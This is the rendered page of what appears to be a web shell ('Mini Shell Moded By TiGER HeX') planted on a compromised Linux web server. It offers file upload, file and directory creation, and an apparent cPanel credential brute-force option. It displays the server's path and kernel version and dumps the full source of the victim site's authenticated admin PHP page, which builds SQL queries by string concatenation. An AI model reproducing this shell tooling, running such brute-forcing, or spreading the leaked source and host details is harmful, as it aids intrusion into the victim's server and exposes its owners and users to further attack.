Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
var
/
www
/
ridazz
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
//var/www/ridazz/eventExplore.php~
<?php include_once('includes/static/configure.php'); include_once('includes/static/util.php'); include_once('includes/static/dbcon2.php'); include_once('includes/static/gdimg.php'); include_once('includes/static/sessions.php'); include_once('includes/appTop2.php'); include_once('includes/static/adminutil.php'); if(!is_authorized()){ header("Location: login.php?refurl=".urlencode($_SERVER['PHP_SELF'])); exit(); } if(is_banned()){ header("Location: banned.php"); exit(); } include_once('includes/header.php'); ?><div class="title">Edit My Rides:<br><br></div> <script src="js/admin.js" language="JavaScript" type="text/javascript"></script> <script src="js/site.js" language="JavaScript" type="text/javascript"></script> <? if( isset($_REQUEST['delete']) ){ while(list($key,$value) = each($_REQUEST)){ if(eregi("story_",$key)){ $ids = explode("_",$db->sanitize_input($key)); $sql = "DELETE FROM 50mm_stories WHERE story_id = '".$ids[1]."'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $sql = "DELETE FROM 50mm_embed WHERE story_id = '".$ids[1]."'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } } } echo "<div class=\"hilite\">operation successful</div>"; } ?> <form action="<?echo $_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data"> <? $userid = isNum(strip_tags(trim($_SESSION['user_id'])), 0); $sql = "SELECT story_id,story_title FROM 50mm_stories WHERE story_type = 'EVENT' AND user_id = '$userid' ORDER BY story_id DESC"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $modrows = Array(); while ($row = $db->sql_fetchrow($result)){ $id = $row['story_id']; $row['story_title'] = get_trim_string($row['story_title'],60); $imgsql = "SELECT image FROM 50mm_embed WHERE story_id = '$id' LIMIT 1"; if( !($imgresult = $db->sql_query($imgsql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $imgrow = $db->sql_fetchrow($imgresult); if(is_file(ROOT_DIR.STORY_LIMG_DIR.$imgrow['image'])){ $img_info = getimagesize(ROOT_DIR.STORY_LIMG_DIR.$imgrow['image']); //width is greater so scale width if($img_info[0] > $img_info[1]){ $scale = $img_info[0]/50; }else{ $scale = $img_info[1]/50; } $w = round($img_info[0]/$scale); $h = round($img_info[1]/$scale); $js = "popImage('".urlencode(STORY_LIMG_DIR.$imgrow['image'])."','".$img_info[0]."','".$img_info[1]."');"; $row['image'] = "<table cellpadding=10><tr><td><img src=\"".STORY_SIMG_DIR.$imgrow['image']."\" border=\"0\" width=\"$w\" height=\"$h\" style=\"cursor:pointer;\" onClick=\"".$js."\"></td></tr></table>"; }else{ $row['image'] = "no image on disk"; } $xtras['view'] = "<a href=\"#\" onClick=\"window.open('viewStory.php?storyId=".$id."','storyPreview');\">view</a>"; if(is_authorized("eventEdit")){ $xtras['edit'] = "<a href=\"eventEdit.php?storyId=$id\">edit</a>"; } if(has_permission("eventDelete")){ $xtras['delete'] = "<input type=\"checkbox\" name=\"story_".$id."\" value=\"\">"; } unset($row['story_id']); $all = array_merge($row,$xtras); array_push($modrows, $all); } echo(get_table($modrows)); if(has_permission("eventDelete")){ //$submit = "<input type=\"checkbox\" name=\"selectAll\" onClick=\"return checkUncheckAll(this.form);\"> Select/Deselect All<br>\n"; $submit.= "<br><br><input type=\"submit\" class=\"button\" name=\"delete\" value=\"Delete Selected\" onClick=\"return validateDelete(this.form);\">"; echo $submit; } ?> <input type="hidden" name="storyId" value="<?echo $story_id?>"> </form> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>